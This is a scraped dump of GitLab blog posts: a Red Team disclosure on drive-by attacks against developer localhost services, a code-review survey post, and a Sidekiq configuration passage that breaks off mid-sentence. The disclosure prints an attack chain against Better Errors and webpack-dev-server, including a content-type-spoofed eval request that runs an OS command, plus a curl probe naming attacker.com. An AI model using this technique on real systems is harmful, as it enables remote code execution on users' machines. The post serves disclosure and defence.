attack. We talk about why and walk you through a real-life example from a recent disclosure here at GitLab, and provide tips to reduce the risk and impact of drive-by attacks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682986/Blog/Hero%20Images/pexels-pixabay-434450.jpg","https://about.gitlab.com/blog/why-are-developers-vulnerable-to-driveby-attacks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why are developers so vulnerable to drive-by attacks?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2021-09-07\",\n      }",{"title":17456,"description":17457,"authors":17462,"heroImage":17458,"date":17463,"body":17464,"category":674,"tags":17465},[2266],"2021-09-07","\nAs someone who spends a lot of time working with computers, I know how easy it is to grow over-confident with regards to security. My systems are patched, my firewall rules are tight, and I’m vigilant when it comes to just about anything that looks out of the ordinary.\n\nNo one’s hacking their way into *my* workstation, that’s for sure.\n\nBut my experience working as a hacker myself has shown me that the opposite is often true. Those of us who are *more* technical are often *much more* vulnerable to an attack due to the complexity of our working environments.\n\nIn this blog, we’re going to dive into the anatomy of something called a “drive-by attack,” where malicious code hidden within a website uses your own browser to attack your computer.\n\nAs an example, I’ll show you how our own [Red Team](/handbook/security/threat-management/red-team/) was able to chain multiple vulnerabilities in the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md) (GDK) to achieve remote code execution (RCE) on developer laptops. And lastly, we’ll discuss steps you can take to reduce the risk of this happening to you.\n\n## How drive-by attacks work\n\nDrive-by attacks come in many forms. Each type of attack starts the same way - you visit a website that contains some malicious code (typically JavaScript). That code will then target a specific type of vulnerability, either in your browser itself or in some other network service that your browser can access. In this blog, we will focus on the latter.\n\nWhat I find particularly fascinating about these attacks is that they completely bypass traditional protections like network firewalls and antivirus software. I think many are under the impression that a network service running on their localhost address cannot be targeted remotely. This is simply not true; in fact, this same technique can be used to target any service on your local network, even those without any outbound internet access at all!\n\nLet’s say you are running a test webserver on your laptop on port 8000. You can simulate this running a simple [netcat](https://en.wikipedia.org/wiki/Netcat) command:\n\n```\nnc -lkp 8000\n```\n\nNow let’s say you are browsing the internet while that test server is running locally. You visit a site that has been compromised with malicious JavaScript. We’ve set up a site at [https://gitlab-com.gitlab.io/gl-security/security-operations/gl-redteam/simple-request](https://gitlab-com.gitlab.io/gl-security/security-operations/gl-redteam/simple-request) that mimics a basic attack. The site contains the following JavaScript:\n\n```\n\u003Cscript>\n\tfetch(\"http://localhost:8000\", {\n    \tmethod: 'post',\n    \tbody: 'you\\'re under attack!',\n\t})\n\u003C/script>\n```\n\nWhen you open the site in your browser, you should see that a POST request has been executed against your simulated server, like the screenshot below.\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/firefox.png)\nHelp, I’m under attack!\n\nWhen JavaScript attempts to interact with another website, the first thing your browser checks is whether or not the protocol, port, and domain all match between that other site and where the script was originally loaded from. This is called the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy): it's your browser’s first line of defense when it comes to these types of attacks.\n\nIn our example above, none of these items matched. That makes this a cross-origin request. Luckily, modern browsers have some mechanisms to restrict exactly what these types of requests can do.\n\nOne of these is called a “[CORS preflight request](https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request).” When some JavaScript asks your browser to perform complex actions on a cross-origin request, your browser will first send an HTTP OPTIONS request to the target. The target will respond with various HTTP headers that tell the browser what is allowed. The most common of these is the “[Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)” header.\n\nIf this header is set to `*` or to the website containing the malicious code, then your browser will let the code perform complex HTTP requests and access the responses. This would include shipping results off to a remote server, or performing complex multi-step actions like logging in to a service or gaining access to the session token; basically the code will be interacting with it as if it were a human user.\n\nAnother header you may encounter is [Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#requests_with_credentials). When set to `true`, the origin specified in `Access-Control-Allow-Origin` can perform credentialed requests utilizing the browser’s active sessions. When origin validation is not done properly and the requesting origin is blindly reflected in `Access-Control-Allow-Origin`, drive-by attacks against authenticated services become much more likely to succeed as they do not need to first guess the password and mimic a logon.\n\nFrom my experience, the first example (`Access-Control-Allow-Origin: *`) is enabled quite often in development software and open-source projects. Even production-ready applications may intentionally set this header to `*` when started with certain flags that tell them they are running in development mode.\n\nWhat makes matters worse is that software run in development mode tends to have other relaxed security measures: verbose error logging, default passwords or even debuggers that allow web requests to execute commands on the host operating system. This makes it very easy for malicious JavaScript to turn basic cross-origin requests into full-on drive-by exploits that completely compromise your machine.\n\n**To be very clear, if you are running a web server on your workstation with this header set, you are granting permission to any website you visit to fully interact with your application. If that application has the ability to run commands on your laptop, you could be granting any website you visit permission to run commands on your laptop.**\n\n“*Well, that’s fine*,” you might think. “*I’ll just remove that header and be good to go*”.\n\nUnfortunately, it’s not that simple. The preflight check has a pretty big loophole via something called a “[simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).” Remote JavaScript is allowed to completely bypass the check if it follows some simple rules, like:\n\n- Must be only GET, HEAD, or POST\n- Must be one of three content types (`application/x-www-form-urlencoded`, `multipart/form-data` or `text/plain`)\n- Must use only a specific set of HTTP headers\n- Cannot read the response from the target service\n\nThis is why we had no issues running the “you’re under attack!” example above. It followed the rules and was a simple request.\n\nSo, to reiterate:\n\n* Any website on the internet can use your browser to attack any service you have access to as long as the attack follows certain rules.\n* Services that implement strong protections against Cross-Site Request Forgery (CSRF) can be more resilient to these attacks.\n* Services that specifically reduce these protections (like with the `Access-Control-Allow-Origin` header) are vulnerable to any attack, whether they follow the rules or not.\n\nHow confident are you that every service you run and test locally has implemented strong CSRF protections and has not removed them while in development mode? And even if they have, how confident are you that they cannot still be exploited via the simple requests described above?\n\n## Example: Drive-by RCE in the GitLab GDK\n\nThe GitLab GDK is a tool that helps GitLab contributors install a fully-functioning GitLab instance for development purposes.\n\nIn September of 2020, our Red Team was researching how our developers could be targeted by sophisticated attackers. We were able to chain multiple vulnerabilities in the GDK to conduct the exact type of attack described in this blog, demonstrating how developer workstations could be remotely compromised.\n\n**These vulnerabilities were quickly patched, the community was asked to upgrade, and this specific risk no longer exists. Read on below about the specific issues and their fixes.**\n\nThe attack targeted two components bundled with the GDK:\n\n* [Better Errors](https://github.com/BetterErrors/better_errors): a Rails error debugging tool\n* [webpack-dev-server](https://github.com/webpack/webpack-dev-server): a development web server that provides static file access\n\nWhen visited, the first thing the malicious website would do was to load the better_errors console in an invisible iframe. The result of this was a simple `GET` request from the browser to `http://localhost:3000/__better_errors`. \n\nWhen this URL was loaded, the better_errors application would generate a unique error code (this is important later on) and then send an HTTP redirect code back to the browser inside the iframe. The URL that it redirected to would include the unique error code, like this:\n\n```\nhttp://localhost:3000/__better_errors/[ERROR CODE]/eval\n```\n\nBecause better_errors did not have the dangerous `Access-Control-Allow-Origin: *` header set, the malicious site could not actually view that response. However, the GDK keeps a lot of log files, including a record of every URL that has been accessed. This meant that the unique error code generated by better_errors was now stored in a log file on the workstation’s filesystem.\n\nThe next step targeted the webpack-dev-server. This ran on localhost on port 3808 and was configured with the overly-permissive CORS header `Access-Control-Allow-Origin: *`.  As discussed earlier in the blog, this header tells your browser that any website can interact freely with this service.\n\nwebpack-dev-server was configured to serve the contents of the log directory, so our malicious JavaScript could literally download and parse the current log file to extract the unique error code generated above.\n\nUsing this error code, the script would then create a specially-crafted HTTP POST request to instruct better_errors to evaluate arbitrary Ruby code. And, of course, with Ruby we can encapsulate operating system commands in backticks to execute any command we wanted to on the host. That request looked like this:\n\n```\nPOST http://localhost:3000/__better_errors/[ERROR CODE]/eval\nContent-Type: text/plain\nAccept: text/html\n\n{\"index\":\"0\",\"source\":\"`touch /tmp/itworked`\"}\n```\n\nIt is worth noting that better_errors actually **did not** have an overly-permissive CORS header. So, technically, we should not have been able to send the above command. Because the content being sent was actually JSON, it would not have qualified as a “simple request” and would have had to pass a CORS preflight check, which would have failed.\n\nHowever, the `Content-type` header was not being validated properly. We were able to bypass the preflight check by incorrectly setting the content type to `text/plain` while still providing a JSON payload in the request body.\n\nWhen the malicious website instructed the browser to send that final request, the command would be executed and the host would be compromised.\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/driveby.png)\nThe original PoC in action.\n\nTo summarize the issues that made this possible:\n\n* Better Errors:\n     * Improper validation of content type header\n     * Lack of robust cross-site request forgery protection (CSRF tokens)  \n* webpack-dev-server:\n     * Was configured to serve the entire GitLab directory (via `contentBase: true`)\n     * Overly-permissive CORS header (`Access-Control-Allow-Origin: *`)\n\nWhile GitLab ended up completely removing Better Errors from the GDK, we did reach out to its author who was incredibly responsive and very quickly [implemented robust protection](https://github.com/BetterErrors/better_errors/pull/474) for the issues we disclosed.\n\nThe GDK still uses webpack-dev-server, but it has been configured to [stop serving the installation directory](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41841) and to [stop sending the overly-permissive CORS header](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46459).\n\nYou can view the source code for the original PoC exploit at [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gdk-driveby-poc-public](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gdk-driveby-poc-public).\n\n## How to protect yourself from drive-by attacks\n\n### Secure your code from cross-origin attacks\n\nIf you are a developer looking to strengthen your own application, here are two great resources to get you started:\n\n* [OWASP Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n* [Portswigger: What is CORS?](https://portswigger.net/web-security/cors)\n\nDo not make the mistake of thinking that your application does not require protection just because it is never exposed to the internet. Any application that listens for requests on a network port can be attacked, even if it only ever runs on localhost for testing purposes.\n\n### Inspect your own network\n\nAs users of software in general, we need to be aware of the increased attack surface that comes with every piece of software we install.\n\n**How many network services do you have running locally on your workstation right now?** Try one of the following commands, you might be surprised by the results:\n\n```\n# Linux systems\nsudo ss -tlpa\n\n# MacOS systems\nsudo lsof -i -P | grep -i \"listen\"\n```\n\nHow about on your home network? Those are also potential targets for a drive-by attack. If your browser can access them, it can be used to attack them. You can get a quick view using [nmap](https://nmap.org/) like this:\n\n```\n# Assuming your LAN is 192.168.1.0/24. Change as needed.\nnmap -sV 192.168.1.0/24\n```\n\nIf you uncover anything that looks like a web service, try to inspect the default HTTP response headers with a command like this:\n\n```\ncurl -vv -H \"Origin: http://attacker.com\" http://[IP ADDRESS]\n```\n\nIf the response headers include something like `Access-Control-Allow-Origin: *` or `Access-Control-Allow-Origin: http://attacker.com`, then you know right away that there is a high chance it is vulnerable to a drive-by attack.\n\nHowever, as demonstrated in our example above, even services with properly configured CORS headers can be targeted by drive-by attacks under the right conditions.\n\n### Reducing potential impact and risk\n\nWhen testing and developing software, we end up executing a lot of code via libraries and dependencies. It’s unlikely that we have the time and resources to personally audit every single line of that code. To make matters worse, we often run local environments with intentionally relaxed security controls because it is just too cumbersome to emulate full production environments on our workstations.\n\nEliminating these risks totally might be unrealistic, but we can at least make an effort to reduce the potential impact should one of these environments be compromised.\n\nIf you were to fall victim to a drive-by attack while running an insecure server on your workstation, you would be in for a very bad day. An attacker with a shell on your system can take over every authenticated web session you have, access all of your local data, and potentially compromise any other remote system you have access to.\n\nThe most obvious way to reduce risk would be to not run potentially risky software directly on your workstation. Some easy ways to do this would be:\n\n* Use temporary virtual machines (in the cloud or with local virtualization software) that are reverted to “known good” snapshots often. Ensure these machines contain no sensitive data.\n* Use container technology (LXD, Docker, etc) for launching temporary test environments. Follow best practices to make container escapes more difficult.\n\nNeither of the above are iron-clad protections. Attackers can still target VMs and containers using your workstation’s browser. Sophisticated attackers may even find their way out of that restricted environment and back onto your workstation. But these methods do add another layer between potentially insecure code and your sensitive data.\n\n### Secure your browser\n\nAdditional layers of security can also be implemented around the browser, by segmenting it or restricting what it can do. Remember, your browser is what a drive-by attack abuses to gain access to local services. Here are some ideas to consider:\n\n* Use the [Tor Browser](https://www.torproject.org/). Besides coming with enhanced security features enabled by default, it literally [cannot access localhost](https://gitlab.torproject.org/legacy/trac/-/issues/10419) or your LAN.\n* In your normal browser, plugins like [uBlock Origin](https://github.com/gorhill/uBlock) can limit the ability of JavaScript to execute (see [blocking modes](https://github.com/gorhill/uBlock/wiki/Blocking-mode)) and block sites from accessing local IP addresses (enable the \"block access to LAN\" [filter-list](https://github.com/gorhill/uBlock/wiki/Dashboard:-Filter-lists)).\n* Some attacks may use a DNS name that resolves to a local IP address, which would bypass the filter list described above. See if your provider supports something called \"DNS rebind protection\" (available in dnsmasq, pihole, and services like NextDNS).\n* You can run a web browser inside a virtual machine with limited access to your workstation and/or your LAN. This can be done manually or via products like [QubesOS](https://www.qubes-os.org/) and/or [Whonix](https://www.whonix.org/). Use this segmented browser when accessing sites that you do not trust completely. Revert the browser VMs back to a known good state often.\n\nSome of the ideas above, such as using the Tor Browser or a virtual machine, may not be particularly convenient for 100% of your tasks. You can use them selectively when accessing sites that you have specific concerns with (like while conducting incident response or security research).\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/tor-browser.png)\nTor Browser to the rescue!\n\n## Understand and protect your attack surface\n\nIf you are running software on your computer that listens on a local network port, you are running a server. That server can be accessed and attacked by any website you visit. Because software developers frequently test less-secure services on their local machines, they are at an increased risk of compromise by these types of attacks.\n\nUnderstanding this attack surface is important, as it lets you make decisions about what additional layers of security you can use to protect yourself. If you have any tips of your own to share, please do so in the comments below.\n\nThanks for reading!\n\nCover image by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/action-asphalt-back-light-cars-434450/)\n",[674],{"slug":17467,"featured":6,"template":678},"why-are-developers-vulnerable-to-driveby-attacks","content:en-us:blog:why-are-developers-vulnerable-to-driveby-attacks.yml","Why Are Developers Vulnerable To Driveby Attacks","en-us/blog/why-are-developers-vulnerable-to-driveby-attacks.yml","en-us/blog/why-are-developers-vulnerable-to-driveby-attacks",{"_path":17473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17474,"content":17479,"config":17484,"_id":17486,"_type":16,"title":17487,"_source":17,"_file":17488,"_stem":17489,"_extension":20},"/en-us/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know",{"title":17475,"description":17476,"ogTitle":17475,"ogDescription":17476,"noIndex":6,"ogImage":9234,"ogUrl":17477,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17477,"schema":17478},"The code review struggle is real. Here's what you need to know","If it's time for a DevOps Platform, don't forget the role code review plays. Our 2021 Global DevSecOps Survey showed why it's both critical and tricky to get right.","https://about.gitlab.com/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The code review struggle is real. Here's what you need to know\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-09-03\",\n      }",{"title":17475,"description":17476,"authors":17480,"heroImage":9234,"date":17481,"body":17482,"category":962,"tags":17483},[11618],"2021-09-03","\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nWhen making a list of the reasons to consider moving to a DevOps Platform, don't forget about code review, a critical piece of the process that's also an incredible source of frustration and delays to developers and their teams.\n\nIn our [2021 Global DevSecOps Survey](/developer-survey/), respondents told us code quality was the number one reason they chose DevOps. But, when asked what was most likely to delay a product release, code review – vital to code quality – was one of the top four culprits (the others were testing, planning and code development). \n\nThe fact that code review is a pain point is hardly surprising, given that it can often require context-switching, communication, collaboration, and of course subject matter expertise. At a time when it's never been more urgent to release secure code as quickly as possible, it's not a stretch to think code reviews can feel like a hard stop to some teams, particularly if the process is not integrated into an existing workflow.\n\n**[Here's everything you need to know about a [DevOps Platform](/topics/devops-platform/)]**\n\n## Why code review is painful\n\nIn fact, when we asked our survey respondents to tell us in their own words what they struggle with when it comes to code review, they had \\*a lot\\* to say on the subject.\n\n*\"Code reviews can take a long time due to the lack of reviewers.\"*\n\n*\"Many people find it a chore to review code.\"*\n\n*\"We have a strict code review process and it often takes several days for the reviewer to respond to requests for review.\"*\n\n*\"Code review takes time and every developer has to explain how they achieved what they did.\"*\n\n*\"Developers are sometimes unaware they have to do code reviews. They aren't sure how to perform them and if they are effective. Sometimes they are skipped so the process can go through.\"*\n\n*\"Finding someone for code review can be hard (1-day average). After that, business tests take time to be completed (2-4 days on average).\"*\n\n[Code review is tricky](/blog/challenges-of-code-reviews/), but almost 60% of those surveyed said the reviews were \"very valuable\" in ensuring code quality and security. And it's not like teams aren't actually tackling code review: In 2021 close to 45% of respondents said they review code weekly, and 22% do it every other week – a 14% jump from 2020.\n\n**[Your organization needs a DevOps Platform team. [Here's why](/topics/devops/how-and-why-to-create-devops-platform-team/)]**\n\nBut anecdotal data tells a slightly different story, from developers saying their teams do no code review at all, to code reviews so comprehensive they include every merge request, ticket, or pull. Many developers said they review code daily, or even multiple times a day. Survey takers said code reviews were most likely conducted using online chat, with developers showing a strong preference for reviewing code in an IDE rather than a browser.\n\n## Better code reviews\n\nAt GitLab we pride ourselves in dogfooding our DevOps Platform, so of course we spend a lot of time thinking about how to [improve our code review process](/blog/better-code-reviews/). We've had a lot of success [using smaller merge requests](/blog/iteration-and-code-review/), as just one example.\n\nOur survey takers told us they were on the same continuous improvement journey – many spent the past year [evaluating how to make their code reviews and other DevOps stages more efficient](/blog/efficient-code-review-tips/). One respondent offered a detailed look:\n\n*\"We evaluated the team and did value stream mapping and finalized the desired state. In most of the cases we found the team needs an automated pipeline for faster delivery and immediate feedback so that they can act fast rather than later. We also moved security left so that developers can fix security issues fast. And we also made sure developers are doing code review in a collaborative way through pull requests.\"*\n\nAnother team focused exclusively on reducing its dependence on code review:\n\n*\"(We are no longer) relying on code review to have caught all the test scenarios. We now use a coverage scanning tool to tell us if we've got it all.\"*\n\n## More code reviews > less code reviews\n\nThe struggle is real, but so is the importance. Despite a lot of complaining about code review, developers remained adamant about its importance in DevOps. When we asked devs what they wish they could do more of, code review was at the top of the list, with more than 1000 survey takers indicating they wish they could do way more code reviews than they're doing at present.\n\nIn our next blog post, we'll outline five ways GitLab's DevOps Platform has made code reviews easier.\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n",[1207,4103,8570],{"slug":17485,"featured":6,"template":678},"the-code-review-struggle-is-real-heres-what-you-need-to-know","content:en-us:blog:the-code-review-struggle-is-real-heres-what-you-need-to-know.yml","The Code Review Struggle Is Real Heres What You Need To Know","en-us/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know.yml","en-us/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know",{"_path":17491,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17492,"content":17497,"config":17501,"_id":17503,"_type":16,"title":17504,"_source":17,"_file":17505,"_stem":17506,"_extension":20},"/en-us/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com",{"title":17493,"description":17494,"ogTitle":17493,"ogDescription":17494,"noIndex":6,"ogImage":17214,"ogUrl":17495,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17495,"schema":17496},"What we learned about configuring Sidekiq from GitLab.com","Sidekiq is a key part of GitLab, and usually works well out-of-the-box, but sometimes it needs more attention at scale.","https://about.gitlab.com/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we learned about configuring Sidekiq from GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Craig Miskell\"}],\n        \"datePublished\": \"2021-09-02\",\n      }",{"title":17493,"description":17494,"authors":17498,"heroImage":17214,"date":17499,"body":17500,"category":734},[9051],"2021-09-02","\nSidekiq in GitLab works perfectly well out-of-the-box in most use cases, but it requires a little more attention in larger deployments or other specialized cases. We've learned a lot about how to configure Sidekiq in large deployments by maintaining GitLab.com – one of the largest instances of GitLab in existence. We added some critical features to GitLab.com in the past year to make it easier to configure Sidekiq in a manner more consistent with the maintainer's guidance, having strayed from this path for some time.\n\nWe are publishing two blog posts devoted to this topic. In this first post, we will unpack how we configured Sidekiq for GitLab.com, and in our second post, we will explain how to apply this to your GitLab instance.\n\n**[Learn more about [how we iterated on Sidekiq background jobs](/blog/scaling-our-use-of-sidekiq/)]**\n\nWe built on that work and the learnings for the project we describe in a [blog post on Sidekiq background jobs](/blog/scaling-our-use-of-sidekiq/).\n\n## What is Sidekiq?\n\nSidekiq is usually the background job processor of choice for Ruby-on-Rails, and uses Redis as a data store for the job queues. Background (or asynchronous) job processing is critical to GitLab because there are many\ntasks that:\n\n1. Shouldn't tie up relatively expensive HTTP workers to perform long-running operations\n1. Do not operate within an HTTP-request context (e.g., scheduled/periodic tasks)\n\nFor most users, how Sidekiq uses Redis doesn't matter much – Sidekiq receives a Redis connection and magic ensues, but at larger scales it becomes important.\n\nThe [Redis data structure that Sidekiq uses for queues is a LIST](https://redis.io/commands#list) which is literally an\nordered sequence of entries. For Sidekiq, each entry is some JSON which describes the work to do (Ruby class + arguments)\nand some metadata. Out-of-the-box Sidekiq uses a single queue named \"default,\" but it's possible to create and use any\nnumber of other named queues if there is at least one Sidekiq worker configured to look at every queue. Jobs are enqueued at the end of the list using [RPUSH](https://redis.io/commands/rpush), and are retrieved for execution from the front of the list with [BRPOP](https://redis.io/commands/brpop).\n\nA key fact is that BRPOP is a blocking operation – a Sidekiq worker looking to perform work will issue and be blocked by a single BRPOP until any work is available or a timeout (2-second default) is exceeded. Redis then returns the job (if available) and removes it from the LIST.\n\n### About Concurrency (threading)\n\n{: #concurrency-threading}\n\nThis is a little bit tangential, but is a important later, so bear with me (or skip this section and come back to it later if you really need it).\n\nWhen starting Sidekiq you can tell it how many threads to run, and where each thread request works from Redis and can\npotentially be executing a job. Sounds like an easy way to allow Sidekiq to do more work, right? Well, not exactly, because threading in Ruby is subject to the Global Interpreter Lock (GIL).\nFor more, [read this great explanation about threading](https://thoughtbot.com/blog/untangling-ruby-threads), from which I will quote one key statement:\n\n> This means that no matter how many threads you spawn, and how many cores you have at your disposal, MRI will literally\nnever be executing Ruby code in multiple threads concurrently\n\nSo each Sidekiq worker process will – at best – only occupy one CPU. Threading is about avoiding constraints on\nthroughput from blocking I/O (mostly network, like Web requests or DB queries).\n\nThe default concurrency is 25, which is fine for a default GitLab installation on a single node with a single Sidekiq\nworker and a wide mix of jobs. But if the jobs are mostly CPU-bound (doing heavy CPU computation in Ruby) then 25 may\nbe far too high and counter-productive as threads compete for the GIL. Or, if your workload is heavily network\ndependent, a higher number might be acceptable since most of the time is spent waiting.\n\n**Why does this matter?** When you start splitting up (sharding) your Sidekiq fleet, you need to pay attention to what\nconcurrency you give to each shard to ensure it is compatible with the subset of Sidekiq jobs that will be executing here.\n\n## How we configured Sidekiq on GitLab.com\n\n### How we historically used Sidekiq\n\nSome time ago in [GitLab history](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7006), we\ndecided to use one Sidekiq queue per worker (class), with the name of the queue automatically derived from the class\n(name + metadata), e.g., the class WebHookWorker runs in the web_hook queue. This approach has some benefits, but the author of\nSidekiq [does not recommend](https://github.com/mperham/sidekiq/wiki/Advanced-Options#queues) **having more than a \"handful\" of queues per Sidekiq process**.\n\nI assume handful means around 10 queues. At the time, we had about 45 job classes/queues which was beyond a \"handful\"\nbut not excessively so. However, as the GitLab code base has grown, we've added more job classes and queues. Currently, we have 440, and more will inevitably be added as new features are added. As discussed in the [previous blog post](/blog/scaling-our-use-of-sidekiq/), we split our Sidekiq worker fleet into multiple shards with different collections of jobs on each shard, based on the job resource requirements and impact on user experience.\n\nHowever, our \"catchall\" shard is still responsible for roughly 300 of those workers/queues. So each time a catchall Sidekiq worker requests the next available job, it issues a BRPOP with a huge list of queues. Redis then needs to parse that request, set up internal data structures for each queue, find the next available job, and then tear down those data structures. That's a lot of overhead just to fetch one job. We knew this was going to be a problem eventually, but for a while we were able to put our effort into other areas.\n\n### How we configured Sidekiq on GitLab.com today\n\nBy early-to-mid 2021, the Redis instance dedicated to Sidekiq was starting to hit more than 95% CPU saturation at peak:\n\n![Redis CPU Saturation](https://about.gitlab.com/images/blogimages/sidekiq-2021/redis-cpu-saturation.png){: .shadow.medium.center}\nWhat it looks like when Redis CPU usage reaches 95%\n{: .note.text-center}\n\nRedis is fundamentally single-threaded. Sure, IO Threads in version 6 changes that a bit, but command execution is serialized\nthrough the core thread, so once utilization hits 100% of a CPU core, it doesn't matter how many other idle/spare CPUs you have.\n\nIn my opinion, Redis is an absolutely amazing bit of software – the documentation is excellent, it is more robust than we deserve, and the throughput is spectacular on a single core. It has carried us a long way, but there is this hard limit that we cannot pass.\n\nIf we do exceed these limits, Sidekiq work will not be dispatched fast enough at peak times, and things will go wrong – possibly in quite subtle and troublesome ways. Last year, we gained a lot of headroom by upgrading to the latest CPUs in GCP, but that's not repeatable and merely put off the inevitable. BRPOP with many queues is the core reason for this saturation with all that overhead on every request from thousands of Sidekiq workers. So what else could we do?\n\nAs we understand it, the CPU usage is generated by a combination of the number of queues *and* the number of workers listening to those queues for work, so we had two possible paths ahead of us:\n\n1. Reduce the number of workers using a given Redis by splitting Sidekiq into multiple fleets\n1. Keep a single logical fleet and reduce the number of queues\n\nBoth were plausible options for reducing Redis CPU usage, but didn't overlap in implementation, and had quite distinct challenges.\n\nWe needed more data in order to make the best choice. We [performed some experiments](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/956) by spending a few days creating an artificial test harness that produced and consumed Sidekiq jobs at volumes mimicking what we see on GitLab.com. I cannot emphasize enough how artificial the workload is, and although we added some complexity to replicate certain aspects of production, it will never be the same as the real workload on GitLab.com. It did [show that reducing the number of queues to \"one queue per shard\" had the greatest effect](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/956#note_542558210). Other discussions also concluded this approach was likely safer, so the decision was easy to make.\n\nIf you're interested, [the code for those experiments is available here](https://gitlab.com/gitlab-com/gl-infra/sidekiq-redis-experiments/), but fair warning, it is *just* enough to do what we needed to do, and requires some manual setup.\n\n### How we adjusted the Sidekiq routing rules\n\nThis change would move us away from the one-queue-per-worker paradigm, but we still need to maintain the current\nsharding configuration on GitLab.com in particular, so our Sidekiq configuration is a fine balance of queues and workers\nand we cannot throw that all away. So we picked up work from [last year](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/194), adjusted the plan slightly, and implemented Sidekiq routing rules.\n\nPrior to routing rules, the decision on where a job ran was made by the Sidekiq workers. The image below will help you visualize the process:\n\n![One queue per worker](https://about.gitlab.com/images/blogimages/sidekiq-2021/One-Queue-Per-Worker.png){: .shadow.medium.center}\nRepresentation of Sidekiq job routing with one queue per worker\n{: .note.text-center}\n\nIn the image above, each lettered-box represents a queue, and jobs are scheduled into a queue based on their name. Where they execute is up to the workers. As you might imagine, it's entirely possible for Rails to put work into a queue that no worker is configured to pick up. With more than 400 workers that's far too easy, so for GitLab.com we ensured that didn't happen by using [queue-selector](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html) expressions for most shards and the [negate option](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html) to define our catchall (default) shard with some scripts to make that easier. It was still a complex process and migrating to Kubernetes added challenges for the final catchall shard as we dealt with the last NFS dependencies and had workloads running in VMs and Kubernetes.\n\nWith routing rules the decision for which workload should pick up a given job is made when the job is *enqueued*. The image below should make it easier to understand this process.\n\n![One queue per shard Sidekiq job routing with routing rules](https://about.gitlab.com/images/blogimages/sidekiq-2021/One-Queue-Per-Shard.png){: .shadow.medium.center}\nRepresentation of Sidekiq job routing with routing rules\n{: .note.text-center}\n\nRouting rules use the same queue-selector syntax, so the same expressions can still be used to represent shards as before. But because the routing rules are an ordered set of rules applied in the same way for every job no matter where it's scheduled from, we no longer need to use a complex generated \"negate\" expression to define the catchall/default shard.\n\nInstead, all that is required is a final \"default\" rule (`*`) that matches all remaining jobs and routes them to the catchall shard (we use the `default` queue for that out of convenience). We only need to ensure there is a set of Sidekiq workers listening for each of the resulting small number of simply named queues that we can base on the shard name for obviousness and simplicity. This is much easier to get right and visually verify.\n\nLearn more about [the routing rules syntax and how to configure them](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html).\n\n### How it's going\n\nOver the past few months we've been [working on migrating GitLab.com to this new arrangement for the catchall shard](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/447). When it came to actually switching to routing rules we took a measured approach and did it in phases.\n\nWe started by [creating a set of routing rules that recreated our existing shards](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/878/diffs), but with the 'nil' target, which tells Rails to keep using the\nper-worker queue. This gave us a base from which we could maintain existing behavior but then start routing to a limited named queues in simple iterative steps.\n\nFrom there, we could add new rules immediately before the final catchall rule to the `default` queue, which GitLab doesn't actively use out-of-the-box, but which the catchall shard listens to. First, we [added some rules that don't normally run on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/918/diffs), but which we could use to test (e.g., [Chaos::SleepWorker](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/chaos/sleep_worker.rb)).\n\nNext, we moved a feature category with a couple of jobs, first [routing](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/978/diffs) them to `default` then we [stopped listening to them in the catchall shard](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/979/diffs).\n\nWe repeated this pattern of rerouting then not listening in 